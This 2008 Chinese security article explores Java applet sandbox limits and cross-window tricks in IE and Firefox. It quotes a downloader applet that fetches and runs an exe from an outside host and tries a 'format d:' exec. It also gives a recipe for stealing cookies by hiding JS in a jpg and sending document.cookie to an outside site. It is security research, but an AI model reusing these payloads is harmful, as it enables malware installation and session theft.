Java applet 安全性探究

作者: 日期: 2008 年 08 月 08 日 发表评论 (0) 查看评论

作者：空虚浪子心【XGC】

　　【IT168专稿】引言

　　因为一个0day，让作者对java applet心血来潮，随着不断的失败，发现了一个又一个安全特性。本文提醒大家，除了activeX，还有这么一种东西，一旦出现了安全隐患，也会帮大家做些什么。如果你要找“0DAY”，请掠过;如果你要找“如何使用APPLET下载木马”，请看下集;如果你喜欢研究“applet可能存在的安全隐患 ”，请从这里开始。

　　第一部分 一个“0day”狂想

　　最近常听见有朋友说“只有跨站执行脚本才是王道”，但是我想，每一门艺术(技术)，都有自己的独到的美(特性)，就像后门除了使用“特洛伊”，还有可以用很多微小的途径，拼合起来，就可能达到比它更加完美的效果。

　　论坛上某帖发出一篇通杀FF和IE的0DAY代码：

Java代码
  1. Import java.applet.Applet;            //加载applet包  
  2. 。。。。。。。。。。。。。。。。。。。。。。。省略  
  3.   
  4. public class Client extends Applet           //继承applet  
  5. {  
  6.     public void start()                   //重写applet的主要方法  
  7.     {  
  8.             。。。。。。。。。。。。。。。。。。。。。。。省略  
  9.             System.out.println(“aaa”);     //如果进入了这个方法，会打印“aaa”  
  10.             URL url = new URL("http://www.blackhathackerz.com/applet/Client.exe");  
  11.              //楼上代码，定义了要从这个地址中拿文件。  
  12. bufferedoutputstream=newBufferedOutputStream(new FileOutputStream("C:\\windows\\system32              //楼上把拿下来的文件放到system32下 
  13. \\Client.exe"));  
  14.             URLConnection urlconnection = url.openConnection();     //打开SOCKET链接  
  15.             inputstream = urlconnection.getInputStream();            //取得文件的流  
  16.             byte abyte0[] = new byte[1024];  
  17.             int i;  
  18.             for(long l = 0L; (i = inputstream.read(abyte0)) != –1; l += i)  
  19.                 bufferedoutputstream.write(abyte0, 0, i);             //把文件写入  
  20. 。。。。。。。。。。。。。。。。。。。。。。。省略  
  21.             Runtime runtime = Runtime.getRuntime();  
  22.             try  
  23.             {  
  24.                 Process process = runtime.exec("C:\\windows\\system32\\Client.exe");  
  25.               //楼上要去执行文件  
  26.             。。。。。。。。。。。。。。。。。。。。。。。省略  

 

　　说实话，刚拿到代码时很兴奋，看起来只要用户只要浏览applet的页面，就可以自动执行JAVA(applet)，在用户的机器上乱写乱画。这是多么美妙的事情啊，只要用户装了jre，就完蛋了。于是跟贴发表评论，解读这段代码的含义，甚至还发表了改进的看法。但是等朋友让我写出改进的代码，才在不断的实践中发现自己的回帖完全是纸上谈兵。

　　Java applet可以用来点缀html的页面，让它更加花哨，更加吸引MM的目光。某种程度上，它和微软的activeX是一个级别的，都是用来扩展HTML 效果。如果搜索“java applet”，可能会搜索到《java applet向activeX下跪》这篇文章，applet曾经风光一时，后来被微软的activeX垄断。但是毕竟功能还在，也就是说，值得探究的安全性因素还在。虽然必须要安装JRE环境才可以执行，但是毕竟可以“祸害一部分人”，随着sun的“进一步战略”，也许这个家伙有一天还会冒出来。

　　在网上找了applet安全的文章，也就那么可怜兮兮的几篇。大概内容都是先列举了他的写文件代码，然后告诉读者这些危险动作默认是不可做的，只有用户同意了安全证书，才会在用户的policy里加入“读，写，执行”等权限。但是你如果真的在问用户“嘿!哥们儿，咱有个东西，你先点同意，同意我在哥们儿脸上写点东西，同意我看看哥们儿暗恋的MM，同意我控制哥们儿几天，同意。。。。”。作者没那么深的钓鱼功力让用户签订不平等条约，所以，本文就不探讨当用户签订安全证书后发生的安全隐患了，因为那真的等于让用户使用最高权限执行一段不可预知的代码。

　　要研究applet的安全，首先要打开浏览器(IE，FF)，工具–?SUN java控制台，右下角会出现冒火的咖啡，右键选择“打开控制面板”，打开“高级”选项卡，选中“调试”里的勾。

1.jpg

　　选择之后，在每次浏览applet页面时，会看到控制台上会出现每一步的程序执行信息，便于我们知道发生的异常和程序运行结果。

　　回头看看这段“0day”代码的执行，我为什么会说“纸上谈兵”呢？分析“0day”的执行顺序：“新建文件–利用HTTP协议取文件–把取得的文件内容写入新建的文件–执行该文件”。好哇！整个就是一个下载者经典流程。看看我们执行后的控制台信息吧。

2.jpg

　　执行过程很明确，打印出了“aaa”，说明代码执行进入了start方法里。Applet的执行顺序为“初始化类(构造方法)–调用init 方法—调用start方法–。。。。。”，你可以认为只要代码写在start里，就会执行。这些都是由浏览器执行的，我们的找茬范围，就是当浏览器执行这些代码的同时：有没有忽略什么、还能做什么、在做什么的同时会不会触发什么。看这里的信息，并没有去那个URL地址拿EXE文件，反而到了aaa就结束了，是因为程序里抓了异常，但是故意不做处理。修改代码，打印异常信息到控制台。继续执行。

　　除了上面的信息外，又打印了

Java代码
  1. java.security.AccessControlException: access denied (java.io.FilePermission C:\windows\system32\Client.exe write)  

　　原来，在执行

Java代码
  1. bufferedoutputstream = new BufferedOutputStream(new FileOutputStream("C:\\windows\\system32\\Client.exe"));  

时，发生了安全异常，不允许新建文件“C:\windows\system32\Client.exe”。好了，连这个新建文件的权限都没有，还谈什么去执行它。很显然，这段代码单纯的执行并不能达到“0day”的效果，可能有些触发条件没有被贴出来吧，它只能算是一段shellcode罢了。 “0day”梦想暂时结束。那，不能新建文件也可以，如果能把用户个人电脑的文件偷偷发出去，也是个不错的选择。

　　第二部分 尝试操作文件

　　所谓的危险性操作，在applet的执行环境下可能发生的有：

　　读文件

　　写文件

　　执行

　　跨域取东西

　　跨域通知

　　跨域建立socket链接

　　调用外部引擎(JDBC等)

　　调用APPLET外的JAVA代码

　　控制浏览器做一些不合理动作

　　等等。

　　发用户机器上的文件给某人，不错的想法，但是这里涉及两个基本权限：读文件，上传文件。上一篇里，因为权限问题，写文件的时候断电了。试想毕竟是JAVA，一门庞大的语言，真的无懈可击么?这次我们读个东西试试。

　　Start代码：

Java代码
  1. File f = new File("c:/a.txt");  
  2. if (f.exists())System.out.println("可以读撒");  

　　控制台打印出：

Java代码
  1. java.security.AccessControlException: access denied (java.io.FilePermission c:\a.txt read)  

　　不能读文件，连最基本的“判断文件是否存在”都过不去。
读都不行，更别说执行了？

Java代码
  1. Runtime runtime = Runtime.getRuntime();  
  2. Process process = runtime.exec("format d:");  

　　控制台打印出：

Java代码
  1. java.security.AccessControlException: access denied (java.io.FilePermission C:\windows\system32\Client.exe execute)  

　　不能执行，文件相关操作都控制的死死的。好吧，我不奢求直接用java控制文件了。记得在玩注入时，可以调用ACCESS等数据库的引擎去写文件。如果可以在applet中访问数据库，那有意思了，一样可以做些什么。间接访问文件，只要没有控制applet访问JDBC驱动的权限，就能执行sql。

Java代码
  1. Class.forName(sun.jdbc.odbc.JdbcOdbcDriver);  
  2. conn=DriverManager.getConnection("jdbc:odbc:driver={Microsoft Access Driver (*.mdb)};DBQ=C:/WINDOWS/system32/ias/dnary.mdb", strUserName, strPassword);  
  3. stmt=conn.createStatement();  

　　再看看结果：

SHELL代码
  1. java.security.AccessControlException: access denied
  2. (java.lang.RuntimePermission accessClassInPackage.sun.jdbc.odbc)  

　　又是失败，也就是说，applet控制了访问其他packet中的内容，只准访问自己内定的包，外部驱动不能用。我所知道的方法基本上都测试了，或许还有，但是这个层面上，最具代表性的都试了，其他的（跨域发送socket包等等）就不拿出来一一说明了。

　　第三部分 对浏览器的操作

　　几天前看到一篇文章，提到“鬼域”，也就是“鬼页”。文中提到可以控制子窗口内部FRAME，IE6可以控制子窗口执行JS，但是IE7，FF不能做。那么用applet来执行的结果，和这篇文章的内容对比，可以多做些什么，而又不能实现什么呢?

　　netscape.javascript.JSObject类可以在applet中调用JS，该类是个抽象类。这个类构造方法是protected的，也就是说，不能直接new出来，只能由子类new，调用其中的静态方法“getWindow(Applet applet)”返回它的一个实例。通常我们使用的时候，这样的设计，就限制了必须要有个applet执行时才可以实例化这个类，也就是当浏览器加载 applet时才可以实例化JSObject。其中的eval方法顾名思义是执行js代码的，applet都能做，只是在页面上看不到JS代码而已，当然，在js中也可以调用applet的方法。这就有个安全隐患了，如果程序仅仅限制了<script>标签，那么使用applet，一样可以达到绕过限制调用JS。当然如果直接限制了“<”，那也没辙。

　　下面是一般调用applet的html代码：

XML/HTML代码
  1. <applet code="AppletTest.class" width="300" height="200">  
  2.     不支持java虚拟机  
  3. </applet>  

 

　　只要贴在HTML页面，就能执行applet，CLASS文件是applet小程序的代码，如果用户浏览器不支持JVM虚拟机，会打出中间的信息。

　　为了探究applet的安全性，本文拿那篇“浅析浏览器的跨域安全问题”一文的内容（没看过的自己去百度，如果不看该文，下面的内容会很生涩），来做个问题的模板，用applet来实现文中提到的一些技术，并对比一下和JS的安全性差异。

　　首先是“伪协议”问题
引用文章内容：

JavaScript代码
  1. <script>  
  2. x=window.open("about:blank");  
  3. x.location="javascript:alert(document.domain)"  
  4. </script>  
  5. 结果是：  
  6. IE6：执行了伪协议，认为弹出窗口的域是127.0.0.1。  
  7. IE7：执行了伪协议，认为弹出窗口的域是127.0.0.1。  
  8. Firefox：执行了伪协议,认为还没有域为NULL。  

　　这段代码取得子窗体的域，如果两个HTML文件在同一个域，就可以做很多事情，比如用“AJAX”技术把该页面的敏感信息提交到另一个页面，并且只有同域下的iframe才可以控制父页面。如下面这段JS，只能在同域下的iframe中执行。

JavaScript代码
  1. parent.location.reload(true);             //让父窗口重新载入  

　　为了做对比，使用Applet来实现伪协议的效果：

Java代码
  1. this.getAppletContext().showDocument(new URL("http://192.168.0.3/"),"kxlzx");  
  2. this.getAppletContext().showDocument(new URL("javascript:alert(document.domain)"),"kxlzx");  

　　这段代码第一行会弹出新的窗口，窗口名称为“kxlzx”（在程序中可以使用“kxlzx”访问弹出的窗口），第二行会在“kxlzx”这个窗口中继续显示"javascript:alert(document.domain)"。访问页面 http://192.168.0.3/test.htm，IE7和FF都弹出了“192.168.0.3”。请注意，这种情况发生在“当前页面和弹出页面都在同一个域”下。

　　父页和子页的关系

　　引用“浅析浏览器的跨域安全问题”一文的代码：

JavaScript代码
  1. <script>  
  2. x=window.open("about:blank");  
  3. x.location="http://www.163.com" //访问163网站  
  4. setTimeout(function(){  
  5. x.location="http://127.0.0.1";  
  6. },5000) //5秒后重定向到127.0.0.1  
  7. </script>  

再次使用applet实现以上效果：

Java代码
  1. public class writeFile extends Applet implements Runnable{  
  2.         private Thread thread = null;  
  3.         private String url;  
  4.         public void run()  
  5.         {  
  6.                 try {  
  7.                         this.getAppletContext().showDocument(new URL(url),"kxlzx");  
  8.                 } catch (MalformedURLException e) {  
  9.                 }  
  10.         }  
  11.         public void start()  
  12.         {  
  13.                 try {  
  14.                 url = "http://www.sohu.com";  
  15.                 thread = new Thread(this);  
  16.                 thread.run();  
  17.                 thread.sleep(5000);  
  18.                 url = "http://www.sina.com";  
  19.                 thread = new Thread(this);  
  20.                 thread.run();  
  21.                 } catch (Exception e) {  
  22.                 }  
  23.         }  
  24. }  

IE和FF都执行成功，子窗口先访问了sohu，过5秒，访问了sina，子页将永远受制于父页。

　　域与域之间的牵绊

　　那么不同域会出现什么情况呢？

Java代码
  1. this.getAppletContext().showDocument(new URL("http://192.168.0.2/"),"kxlzx");  
  2. this.getAppletContext().showDocument(new URL("javascript:alert(document.domain)"),"kxlzx");  

　　这段代码和前面第一节部分唯一的差别是，打开了http://192.168.0.3/test2.htm（父窗体）页面后，父窗体的applet控制子窗体访问到了另一个域“192.168.0.2”中。执行结果，IE拒绝访问，FF却弹出了

3.jpg

　　奇怪，分明是让子窗体去访问"javascript:alert(document.domain)"，怎么会弹出父窗体的域名呢？更诡异的是，弹出框的title上居然写着 “来自192.168.0.3的页面说：”。猜测这个问题有两种可能：

　　1、子窗口（http://192.168.0.2/php.php）仍然认为自己属于父窗体的域（192.168.0.3）。

　　2、这个框（JS）根本就是由父窗体调出来的。

　　为了证明域的问题，我写了段JS来判断，在子窗体的页面中，写段AJAX，让他去给父窗体送点东西。如果同一个域，就能拿，如果不同域会拒绝访问。

　　几经测试，写出了可以通过的代码：

Java代码
  1. public class writeFile extends Applet {  
  2.         public void start()  
  3.         {  
  4.                 try {  
  5.                     this.getAppletContext().showDocument(new URL("http://192.168.0.2/php.php"),"kxlzx");  
  6.                     this.getAppletContext().showDocument(new URL("javascript:xmlHttp = new XMLHttpRequest();xmlHttp.onreadystatechange = function handleStateChange(){if (xmlHttp.readyState == 4 ){if (xmlHttp.status == 200 )alert(xmlHttp.responseText);}};xmlHttp.open(\"GET\", \"http://\"+document.domain+\"/test/a.asp?context=ddd\", true); xmlHttp.send(null);"),"kxlzx");  
  7.                 } catch (Exception e) {  
  8.                 }  
  9.         }  
  10. }  

 

　　请注意变红的地方！代码会先控制子窗体打开页面，然后控制子窗体执行一段ajax代码访问a.asp。a.asp文件的作用是接收 context变量，然后把它的值保存在本地一个kxlzx.txt的文件里。从kxlzx.txt文件内容来看，执行成功了。也就是说，这段ajax成功的访问了位于192.168.0.3上的文件a.asp，并提交了参数。

　　这时的我非常兴奋！跨域“0day”？！！别高兴的太早，还有种可能就是父窗口执行了ajax。为了进一步扩大战果和分辨父子窗体，我立刻修改js，让他把cookie传过去，修改代码中传递参数的值为 “a.asp?context=aa’+document.cookie+document.getElementById(‘who’)”。然后修改子窗体访问的php.php：

PHP代码
  1. <script>  
  2.         document.cookie=‘password:kxlzx’;  
  3. </script>  
  4. <input id="who" value="php.php">  

　　再修改父窗体访问的页面(加载applet的页面test2.htm)：

XML/HTML代码
  1. <script>  
  2.     document.cookie=‘yumen…’;  
  3. </script>  
  4. <input id="who" value="test2.htm">  
  5. <applet code="writeFile.class" width="300" height="200">  
  6.     不支持java虚拟机  
  7. </applet>  

 

　　这两段有什么用呢？首先是cookie问题，如果单纯靠两个页的cookie判断，可能达不到效果，别忘了他们的域是一样的，很可能两个页面cookie都是test2.htm的cookie。但是再加个input就不一样了，input的值可不会因为域而改变。

　　这样，不同的页面所调用ajax的结果就有所区别。测试结果很诡异，我在kxlzx.txt中只找到了test2.htm的cookie，没有后面紧跟的input的值。两个页面都有input，怎么会拿不到值？打开ff的错误控制台，看到了如下错误：

4.jpg

　　执行这段js的页面根本就没有这个input！两种解释：

　　1、还有个页面偷偷执行了这段ajax，然后消失的无影无踪。

　　2、这段JS在第二个页面（子窗体）中执行，但是执行的时候子窗体还没有访问php.php。

　　至少不可能是test2.htm执行了js，如果他执行js，一定能拿到“who”的值，input在applet之前就加载了。无论是哪种可能，跨域 0day梦，宣告结束。父窗体不能让子窗体执行脚本，只能让他访问一些页面。好吧，你狠！不过，我们回到一个话题来：“为什么要让子窗体执行脚本？”，很显然，我们想要子窗体的cookie。

　　整理思路：
1、父窗体可以控制子窗体到处访问。

　　2、父窗体不能让子窗体执行脚本。

　　3、我们想拿子窗体的cookie。

　　4、只有同一个域下，才能取cookie。

　　你应该感到有趣才是，因为作者不可能把一段废话一一列举在这里，你能想到什么呢？公布答案！假设我们能控制父窗体的代码，想要子窗体的cookie步骤：

　　1、我们可爱的IE浏览器打开http://inbreak.net/blog/kxlzx.jpg时，如果jpg里面其实是js，发生什么？很好！会执行JS！步骤一的关键就是，往子窗口的域名下（网站），传一个jpg文件，里面是JS代码。Js代码用来：获取cookie，然后使用AJAX 技术将cookie提交到同一个域的某个能储存东西的地方，比如留言本。

　　2、既然要获取cookie，那浏览器至少要有子窗体的cookie，比如他登录过就会有cookie。让父窗体先打开子窗体的kxlzx.jpg，一秒，闪一秒就足够代码执行了，之后的事情就不用我说了。

　　如果步骤一的条件有出入，没有可以储存东西的地方，你可以尝试以下代码绕过AJAX的跨域限制：

javascript代码
  1. <iframe id="iframe_kxlzx" width="10" height="10"></iframe>  
  2.   <script>  
  3.     document.getElementById("iframe_kxlzx").src="http://inbreak.net/blog/default.asp?cookies="+document.cookie;  
  4.   </script>  

 

　　以上步骤不仅仅可以应用于applet，还可以在js中实现。可以实现以上步骤的代码，本文已经写的够多了，请在楼上找吧。

　　作者技术有限，目前研究到这里，给大家个研究方向：往applet底层实现进发，研究能绕过applet权限的函数，去年就出了一个。实践出真知，作者的研究思路一定不是最好的，甚至文中或许还会有错误，但是文中代码都是作者通过无数次实践，才精挑细选出了最能说明问题的部分，希望能对大家有所帮助。

　　最后发几个小技巧：
1、跨域调用class文件。突破XSS的时候，如果不能上传class文件（通常都不可以），就可以把class文件放在其他地方。把class文件放在其他服务器上调用，有了这个功能，更利于我们没有限制的跨域调用class文件。

XML/HTML代码
  1. <applet>标签中，如果class文件在“http://inbreak.net/toolss/Ghost.class”  
  2. 要这样写：  
  3. <applet codebase="http://inbreak.net/toolss/" code="Ghost.class" width="300" height="200">  

 

　　2、调试的时候，如果编译好了class文件，之后修改类，又重新编译了class文件，一定要关闭浏览器重新打开，才能看到新的效果。因为浏览器有缓存，同样会缓存class文件，如果不清空缓存或重新打开浏览器，就等于使用了原来的class文件。

　　3、调试的时候，一定要仔细考虑到整个流程执行顺序，特别是当你以为自己不小心发现“0day”的时候。

　　4、最后提醒，applet只能执行在JVM环境中。
参考文献：
　　《浅析浏览器的跨域安全问题》 Ph4nt0m Security Team  rayh4c
《Java security evolution and concepts, Part 3: Applet security》 Raghavan N. Srinivas
《Applet Security》 SUN官方
《Java 2 Applet Security》 Abdul Habra, 2.7.2000
《JDK帮助》

　　附件说明：
a.asp ——-    接收变量，保存内容为kxlzx.txt的页面
Applet_ODBC.java  ——– 使用applet链接access数据库的代码
Applet_Control_Open.java ——– 父窗体控制子窗体到处访问的代码
Oday.java ———-  第一部分提到的0day
ReadFile.java  ——–  applet读文件
writeFile.java  ———  applet写文件
Xss.java  —–  控制子窗口弹cookie
test2.htm  ——  文中提到的加载applet页面
php.php  —–  没有这个文件，因为它代码改来改去的，文中找吧。

文中提到的附件下载地址：

[attach=5]

Java Security, 原创文章, , ,
发表评论？

0 条评论。

发表评论